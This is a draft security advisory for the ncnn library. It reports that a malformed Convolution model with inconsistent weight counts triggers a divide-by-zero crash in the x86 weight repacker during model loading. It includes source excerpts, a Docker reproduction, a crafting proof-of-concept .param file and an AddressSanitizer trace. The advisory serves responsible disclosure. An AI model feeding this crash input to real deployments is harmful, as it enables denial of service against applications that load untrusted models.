All advisories
Draft

Malformed Convolution Model Crashes X86 Repacking

Tencent/ncnn

Affected packages

ncnn other
Affected versions= 5e66f094bf7c597b4569cc014a8be84104748678
Patched versionsNot specified

Description

Malformed Convolution Model Crashes X86 Repacking

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/mat.h:1137 in Mat::Mat(int, int, int, void*, size_t, int, Allocator*)
Sanitizer verdict: FPE on unknown address 0x5d96268ebf23 (pc 0x5d96268ebf23 bp 0x7fffeb574580 sp 0x7fffeb574240 T0)

Summary

A Convolution layer whose weight count disagrees with kernel_w * kernel_h * num_output makes the x86 packed-weight repacker reshape the weight tensor to an impossible shape. Mat::reshape returns an empty Mat with elemsize == 0, the repacker calls channel() on it without checking, and the Mat constructor divides by that zero element size. ncnnoptimize, or any process calling ncnn::Net::load_model() on the attacker's .param/.bin, is killed with SIGFPE during model loading.

Detail

The untrusted fields are Convolution parameter keys 0 (num_output), 1/11 (kernel size) and 6 (weight_data_size). Neither Convolution::load_param nor load_model requires them to be consistent: load_model merely reads weight_data_size floats. Convolution_x86::create_pipeline then derives num_input = weight_data_size / kernel_size / num_output by truncating division (src/layer/x86/convolution_x86.cpp:302) and picks elempack/out_elempack from those counts, and the 3x3 stride-1 shape combination routes into convolution_transform_kernel_packed_sse.

// src/layer/x86/convolution_x86.cpp:85
    {
        Mat weight_data_r2 = weight_data.reshape(maxk, num_input, num_output);

        weight_data_tm.create(maxk, num_input / elempack, num_output / out_elempack, (size_t)4u * elempack * out_elempack, elempack * out_elempack);

        for (int q = 0; q + (out_elempack - 1) < num_output; q += out_elempack)
        {
            float* g00 = weight_data_tm.channel(q / out_elempack);

            for (int p = 0; p + (elempack - 1) < num_input; p += elempack)
            {
                for (int k = 0; k < maxk; k++)
                {
                    for (int i = 0; i < elempack; i++)
                    {
                        for (int j = 0; j < out_elempack; j++)
                        {
                            const float* k00 = weight_data_r2.channel(q + j).row(p + i);

// src/mat.h:1641
NCNN_FORCEINLINE Mat Mat::channel(int _c)
{
    Mat m(w, h, d, (unsigned char*)data + cstep * _c * elemsize, elemsize, elempack, allocator);

// src/mat.h:1129
NCNN_FORCEINLINE Mat::Mat(int _w, int _h, int _c, void* _data, size_t _elemsize, int _elempack, Allocator* _allocator)
    : data(_data), refcount(0), elemsize(_elemsize), elempack(_elempack), allocator(_allocator), dims(3), w(_w), h(_h), d(1), c(_c)
#if NCNN_BATCH
    ,
      n(1),
      nstep(0)
#endif
{
    cstep = alignSize((size_t)w * h * elemsize, 16) / elemsize;

The PoC declares 0=8 1=3 11=3 6=80 with stride and dilation 1, and writes 80 float32 weights. num_input becomes 80 / 9 / 8 == 1, so elempack is 1 and out_elempack is 8 (8 % 8 == 0), which selects the convolution_transform_kernel_packed_sse branch at line 489. Line 86 then calls weight_data.reshape(9, 1, 8); Mat::reshape starts with if (w * h * d * c != _w * _h * _c) return Mat(); (src/mat.cpp:197), and 80 elements cannot be laid out as 9x1x8 = 72, so it returns a default-constructed Mat.

weight_data_r2 is consequently empty — data == 0, elemsize == 0 — and no .empty() check follows. The innermost loop calls weight_data_r2.channel(q + j), which constructs a sub-Mat and, at src/mat.h:1137, evaluates alignSize((size_t)w * h * elemsize, 16) / elemsize with elemsize == 0. The div executes with a zero divisor and the process takes SIGFPE. Any weight count that is not an exact multiple of maxk * num_output produces the same empty reshape result on this path.

Reproduce

Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-malformed-convolution-model-crashes-x86-repacking && cd ncnn-poc-malformed-convolution-model-crashes-x86-repacking

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'PARAM'
7767517
1 1
Convolution conv 0 1 out 0=8 1=3 6=80
PARAM

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0

AddressSanitizer output:

AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: FPE on unknown address 0x5fb21c777f23 (pc 0x5fb21c777f23 bp 0x7fff25f02750 sp 0x7fff25f02410 T0)
    #0 0x5fb21c777f23 in ncnn::Mat::Mat(int, int, int, void*, unsigned long, int, ncnn::Allocator*) /ncnn/src/mat.h:1137
    #1 0x5fb21c777f23 in ncnn::Mat::channel(int) /ncnn/src/mat.h:1643
    #2 0x5fb21c777f23 in convolution_transform_kernel_packed_sse /ncnn/build/src/layer/x86/convolution_x86_avx512.cpp:102
    #3 0x5fb21c781d7c in ncnn::Convolution_x86_avx512::create_pipeline(ncnn::Option const&) /ncnn/build/src/layer/x86/convolution_x86_avx512.cpp:489
    #4 0x5fb21b99fc96 in ncnn::Net::load_model(ncnn::DataReader const&) /ncnn/src/net.cpp:2094
    #5 0x5fb21b8b3c34 in main /ncnn/tools/ncnnoptimize.cpp:2793
    #6 0x774eaf2941c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #7 0x774eaf29428a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #8 0x5fb21b833624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE /ncnn/src/mat.h:1137 in ncnn::Mat::Mat(int, int, int, void*, unsigned long, int, ncnn::Allocator*)
==1==ABORTING

Credit

Zheng Yu @ DepthFirst